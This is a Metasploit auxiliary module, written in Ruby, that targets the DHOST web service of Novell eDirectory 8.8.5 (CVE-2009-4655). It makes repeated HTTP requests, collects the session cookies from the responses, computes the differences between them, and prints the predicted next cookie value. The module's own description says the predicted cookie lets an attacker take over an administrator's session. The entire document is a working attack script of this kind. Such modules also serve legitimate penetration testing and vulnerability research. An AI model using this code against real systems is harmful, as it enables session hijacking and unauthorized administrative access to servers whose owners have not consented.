Novell EDirectory DHOST Predictable Session Cookie

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Novell eDirectory DHOST Predictable Session Cookie',  
'Description' => %q{  
This module is able to predict the next session cookie value issued  
by the DHOST web service of Novell eDirectory 8.8.5. An attacker can run  
this module, wait until the real administrator logs in, then specify the  
predicted cookie value to hijack their session.  
},  
'References' =>  
[  
['CVE', '2009-4655'],  
['OSVDB', '60035']  
],  
'Author' => 'hdm',  
'License' => MSF_LICENSE  
))  
  
register_options([  
Opt::RPORT(8030),  
OptBool.new('SSL', [true, 'Use SSL', true])  
])  
end  
  
def run  
vals = []  
name = ""  
  
print_status("Making 5 requests to verify predictions...")  
1.upto(6) do  
  
connect  
req = "GET /dhost/ HTTP/1.1\r\n"  
req << "Host: #{rhost}:#{rport}\r\n"  
req << "Connection: close\r\n\r\n"  
sock.put(req)  
res = sock.get_once(-1,5)  
disconnect  
  
cookie = nil  
if(res and res =~ /Cookie:\s*([^\s]+)\s*/mi)  
cookie = $1  
cookie,junk = cookie.split(';')  
name,cookie = cookie.split('=')  
cookie = cookie.to_i(16)  
vals << cookie  
end  
end  
  
deltas = []  
prev_val = nil  
vals.each_index do |i|  
if(i > 0)  
delta = vals[i] - prev_val  
print_status("Cookie: #{i} #{"%.8x" % vals[i]} DELTA #{"%.8x" % delta}")  
deltas << delta  
end  
prev_val = vals[i]  
end  
  
deltas.uniq!  
if(deltas.length < 4)  
print_status("The next cookie value will be: #{name}=#{"%.8x" % (prev_val + deltas[0])}")  
else  
print_status("The cookie value is less predictable, maybe this has been patched?")  
print_status("Deltas: #{deltas.map{|x| "%.8x" % x}.join(", ")}")  
end  
end  
end  
`